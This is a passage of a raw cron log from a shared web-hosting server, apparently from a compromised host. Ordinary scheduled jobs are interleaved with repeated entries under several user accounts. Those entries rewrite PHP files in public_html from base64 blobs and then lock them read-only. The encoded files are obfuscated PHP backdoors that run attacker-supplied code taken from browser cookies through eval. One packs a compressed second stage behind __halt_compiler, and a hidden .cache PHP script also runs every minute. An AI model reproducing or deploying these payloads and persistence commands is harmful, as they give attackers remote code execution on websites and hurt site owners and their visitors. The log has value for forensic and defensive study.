D0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:18:01 medusa CROND[28691]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  1 20:18:01 medusa CROND[28695]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 20:18:01 medusa CROND[28696]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:18:01 medusa CROND[28697]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:18:01 medusa CROND[28700]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:18:01 medusa CROND[28703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:18:01 medusa CROND[28705]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:18:01 medusa CROND[28706]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:18:01 medusa CROND[28699]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:18:01 medusa CROND[28713]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:19:02 medusa CROND[5820]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:19:02 medusa CROND[5823]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 20:19:02 medusa CROND[5824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:19:02 medusa CROND[5826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:19:02 medusa CROND[5829]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:19:02 medusa CROND[5832]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:19:02 medusa CROND[5834]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:19:02 medusa CROND[5833]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:19:02 medusa CROND[5842]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:19:02 medusa CROND[5845]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:19:02 medusa CROND[5847]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:19:02 medusa CROND[5855]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:19:47 medusa crontab[14560]: (root) LIST (blanq2017)
Mar  1 20:20:01 medusa CROND[27719]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:20:02 medusa CROND[27907]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 20:20:02 medusa CROND[28053]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:20:02 medusa CROND[28054]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 20:20:02 medusa CROND[28056]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 20:20:02 medusa CROND[28057]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 20:20:02 medusa CROND[28055]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 20:20:02 medusa CROND[28058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:20:02 medusa CROND[28071]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 20:20:02 medusa CROND[28072]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:20:02 medusa CROND[28074]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:20:02 medusa CROND[28076]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:20:02 medusa CROND[28079]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 20:20:02 medusa CROND[28082]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 20:20:02 medusa CROND[28077]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 20:20:02 medusa CROND[28088]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAg